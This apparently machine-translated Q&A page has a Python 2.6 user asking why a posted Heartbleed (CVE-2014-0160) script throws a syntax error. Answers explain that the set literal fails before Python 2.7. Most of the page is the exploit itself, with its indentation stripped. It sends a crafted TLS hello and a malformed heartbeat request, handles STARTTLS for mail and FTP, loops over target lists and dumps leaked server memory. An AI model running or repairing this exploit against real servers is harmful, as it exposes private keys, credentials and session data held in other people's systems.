当我尝试运行以下heartbleed代码时，会抛出语法错误。我是python的新手。我试图找到语法错误，但失败了。我使用的是python 2.6。
#!/usr/bin/python
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)')
options.add_option('-t', '--tls', type='int', default=1, help='Specify TLS version: 0 = 1.0, 1 = 1.1, 2 = 1.2 (default: 1)')
options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...')
options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port')
options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output')
opts, args = options.parse_args()
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
# set TLS version
if opts.tls == 0:
hb = h2bin('''18 03 01 00 03 01 40 00''')
elif opts.tls == 1:
hb = h2bin('''18 03 02 00 03 01 40 00''')
elif opts.tls == 2:
hb = h2bin('''18 03 03 00 03 01 40 00''')
else:
hb = h2bin('''18 03 02 00 03 01 40 00''')
def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
#hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin)
#print ' %04x: %-48s %s' % (b, hxdat, pdat)
pdat = re.sub(r'([.]{50,})', '', pdat)
return pdat
def recvall(s, length, timeout=5):
try:
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
except:
print "Error receiving data: ", sys.exc_info()[0]
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
if opts.verbose:
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s, targ):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return ''
if typ == 24:
if opts.verbose:
print 'Received heartbeat response...'
#hexdump(pay)
if len(pay) > 3:
print 'WARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return hexdump(pay)
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return ''
def bleed(targ, port):
try:
res = ''
print
print '##################################################################'
print 'Connecting to: ' + targ + ':' + str(port) + ' with TLSv1.' + str(opts.tls)
for x in range(0, opts.num):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sys.stdout.flush()
s.settimeout(10)
s.connect((targ, port))
# send starttls command if specified as an option or if common smtp/pop3/imap ports are used
if (opts.starttls) or (port in {25, 587, 110, 143, 21}):
stls = False
atls = False
# check if smtp supports starttls/stls
if port in {25, 587}:
print 'SMTP Port... Checking for STARTTLS Capability...'
check = s.recv(1024)
s.send("EHLO someone.org\n")
sys.stdout.flush()
check += s.recv(1024)
if opts.verbose:
print check
if "STARTTLS" in check:
opts.starttls = True
print "STARTTLS command found"
elif "STLS" in check:
opts.starttls = True
stls = True
print "STLS command found"
else:
print "STARTTLS command NOT found!"
print '##################################################################'
return
# check if pop3/imap supports starttls/stls
elif port in {110, 143}:
print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...'
check = s.recv(1024)
if port == 110:
s.send("CAPA\n")
if port == 143:
s.send("CAPABILITY\n")
sys.stdout.flush()
check += s.recv(1024)
if opts.verbose:
print check
if "STARTTLS" in check:
opts.starttls = True
print "STARTTLS command found"
elif "STLS" in check:
opts.starttls = True
stls = True
print "STLS command found"
else:
print "STARTTLS command NOT found!"
print '##################################################################'
return
# check if ftp supports auth tls/starttls
elif port in {21}:
print 'FTP Port... Checking for AUTH TLS Capability...'
check = s.recv(1024)
s.send("FEAT\n")
sys.stdout.flush()
check += s.recv(1024)
if opts.verbose:
print check
if "STARTTLS" in check:
opts.starttls = True
print "STARTTLS command found"
elif "AUTH TLS" in check:
opts.starttls = True
atls = True
print "AUTH TLS command found"
else:
print "STARTTLS command NOT found!"
print '##################################################################'
return
# send appropriate tls command if supported
if opts.starttls:
sys.stdout.flush()
if stls:
print 'Sending STLS Command...'
s.send("STLS\n")
elif atls:
print 'Sending AUTH TLS Command...'
s.send("AUTH TLS\n")
else:
print 'Sending STARTTLS Command...'
s.send("STARTTLS\n")
if opts.verbose:
print 'Waiting for reply...'
sys.stdout.flush()
recvall(s, 100000, 1)
print
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
if opts.verbose:
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
print '##################################################################'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
res += hit_hb(s, targ)
s.close()
print '##################################################################'
print
return res
except:
print "Error connecting to host: ", sys.exc_info()[0]
print '##################################################################'
print
def main():
allresults = ''
# if a file is specified, loop through file
if opts.filein:
fileIN = open(opts.filein, "r")
for line in fileIN:
targetinfo = line.strip().split(":")
if len(targetinfo) > 1:
allresults = bleed(targetinfo[0], int(targetinfo[1]))
else:
allresults = bleed(targetinfo[0], opts.port)
if allresults:
print '%s' % (allresults)
fileIN.close()
else:
if len(args) < 1:
options.print_help()
return
allresults = bleed(args[0], opts.port)
if allresults:
print '%s' % (allresults)
print
if __name__ == '__main__':
main()
错误是：
root @bt：〜/ Desktop＃python heartbleed.py文件＆＃34; heartbleed.py＆＃34;，第238行 if（opts.starttls）或（{25,587,110,143,21}中的端口）： ^ SyntaxError：语法无效
答案 0 :(得分：0)
请尝试
if (opts.starttls) or (port in (25, 587, 110, 143, 21)):
将其转换为元组。
答案 1 :(得分：0)
{25, 587, 110, 143, 21}
是Python 3语法。它创建一个集合，直接的Python 2.x等效代码将是
set((25, 587, 110, 143, 21))
虽然任何序列类型都可以（例如Lafada的回答），但你可能会发现其余代码的位在Python 2.x中没有向后兼容
编辑：我错了。根据@ jpmc26的评论，它是Python 3的语法，但也反向移植到Python 2.7 +